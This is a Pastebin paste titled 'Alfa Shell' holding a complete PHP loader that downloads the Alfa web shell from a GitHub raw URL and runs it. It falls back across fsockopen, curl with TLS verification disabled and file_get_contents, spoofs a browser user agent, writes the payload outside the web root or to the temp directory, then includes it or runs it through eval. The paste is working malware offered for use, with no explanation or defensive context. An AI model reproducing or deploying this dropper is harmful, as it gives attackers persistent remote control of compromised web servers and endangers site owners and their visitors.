MrOXiG3n

Alfa Shell

Jul 21st, 2020
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.32 KB | None | 0 0
  1. <?php
  2.  
  3. class Alfa {
  4.  
  5. public $shell_url = "https://raw.githubusercontent.com/belphegorinj3ctor/alfa/master/alfa.php"; // default
  6. public $loader_name = "alfa_loader.tmp"; // default
  7.  
  8. private $loader_path = "";
  9. private $upload_directory = "";
  10.  
  11. public function __construct() {
  12. $this -> upload_directory = $_SERVER["DOCUMENT_ROOT"] . "/../";
  13. $this -> loader_path = $this -> upload_directory . "/" . $this -> loader_name;
  14. }
  15.  
  16. private function _fsockopen(){
  17. $shell = $this -> shell_url;
  18. if ( substr($shell, 0,5) != "https" ){
  19. if ( substr($shell, 0,11) != "http://www." ){
  20. $shell = str_replace( array("http://", "www.", "https://"), "", $shell);
  21. if ( substr($shell, 0,4) == "www." ){
  22. $shell = "http://" . $shell;
  23. }else{
  24. $shell = "http://www." . $shell;
  25. }
  26. }
  27. }
  28. $url_info = parse_url($shell);
  29. $port = 80;
  30. if ( !isset($url_info["path"]) ) {
  31. $url_info["path"] = "/";
  32. }
  33. if ( !isset($url_info["scheme"]) ) {
  34. $url_info["scheme"] = "";
  35. }
  36. if( $url_info["scheme"] == "https" ) {
  37. $url_info["scheme"] = "ssl://";
  38. $port = 443;
  39. }else{
  40. $url_info["scheme"] = "";
  41. }
  42. $shell = $url_info["scheme"] . $url_info["host"];
  43. $socket = @fsockopen($shell, $port, $errno, $errstr, 15);
  44. if($socket){
  45. $http = "GET {$url_info["path"]} HTTP/1.0\r\n";
  46. $http .= "Host: {$url_info["host"]}\r\n";
  47. $http .= "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0\r\n";
  48. $http .= "Connection: close\r\n\r\n";
  49. fwrite($socket, $http);
  50. $contents = "";
  51. while (!@feof($socket)) {
  52. $contents .= @fgets($socket, 4096);
  53. }
  54. list($header, $body) = explode("\r\n\r\n", $contents, 2);
  55. @fclose($socket);
  56. return $body;
  57. }else{
  58. return "";
  59. }
  60. }
  61.  
  62. private function _curl(){
  63. $resp = "";
  64. if ( function_exists('curl_version') ){
  65. $curl = curl_init();
  66. curl_setopt_array($curl, array(
  67. CURLOPT_RETURNTRANSFER => 1,
  68. CURLOPT_URL => $this -> shell_url,
  69. CURLOPT_SSL_VERIFYPEER => false,
  70. CURLOPT_SSL_VERIFYHOST => false,
  71. CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0'
  72. ));
  73. $resp = curl_exec($curl);
  74. curl_close($curl);
  75. }
  76. return $resp;
  77. }
  78.  
  79. private function getSource($method = "fsockopen"){
  80. $source = "";
  81. switch( $method ) {
  82. case "fsockopen":
  83. if ( function_exists("fsockopen") ) {
  84. $source = $this -> _fsockopen();
  85. if ( empty($source) ) {
  86. $this -> getSource("curl");
  87. return false;
  88. }
  89. } else {
  90. $this -> getSource("curl");
  91. return false;
  92. }
  93. break;
  94. case "curl":
  95. $source = $this -> _curl();
  96. if ( empty($source) ) {
  97. $this -> getSource("file_get_contents");
  98. return false;
  99. }
  100. break;
  101. case "file_get_contents":
  102. if ( function_exists("file_get_contents") ) {
  103. $source = @file_get_contents($this -> shell_url);
  104. }
  105. break;
  106. }
  107. return $source;
  108. }
  109.  
  110. private function getTemp() {
  111. $tmp = false;
  112. $dirs = @ini_get("open_basedir");
  113. if ( !empty($dirs) ) {
  114. $dirs = explode(":", $dirs);
  115. foreach ( $dirs as $dir ) {
  116. if ( @is_writable( $dir ) ) {
  117. $tmp = $dir;
  118. break;
  119. }
  120. }
  121. $tmp = $tmp . "/" . $this -> loader_name;
  122. } else {
  123. if ( function_exists("sys_get_temp_dir") ) {
  124. if ( @is_writable ( str_replace('\\', '/', sys_get_temp_dir()) ) ) {
  125. $tmp = sys_get_temp_dir();
  126. $tmp = $tmp . "/" . $this -> loader_name;
  127. }
  128. }
  129. }
  130. return $tmp;
  131. }
  132.  
  133. public function run(){
  134. if ( !@file_exists ($this -> loader_path) ) {
  135. $source = $this -> getSource();
  136. if( !empty($source) ) {
  137. if ( !@is_writable ( $this -> upload_directory ) ) {
  138. $this -> loader_path = $this -> getTemp();
  139. }
  140. if ( $this -> loader_path ) {
  141. if ( @file_put_contents( $this -> loader_path, $source ) ) {
  142. include ( $this -> loader_path );
  143. } else {
  144. eval ("?>" . $source );
  145. }
  146. } else {
  147. eval ("?>" . $source );
  148. }
  149. } else {
  150. echo ("source is empty...!");
  151. }
  152. } else {
  153. include ( $this -> loader_path );
  154. }
  155. }
  156. }
  157.  
  158. $alfa = new Alfa();
  159.  
  160. $alfa -> shell_url = "https://raw.githubusercontent.com/belphegorinj3ctor/alfa/master/alfa.php"; //optional
  161. $alfa -> loader_name = "alfa_loader.tmp"; //optional
  162.  
  163. $alfa -> run();
  164.  
  165. ?>
Add Comment
Please, Sign In to add comment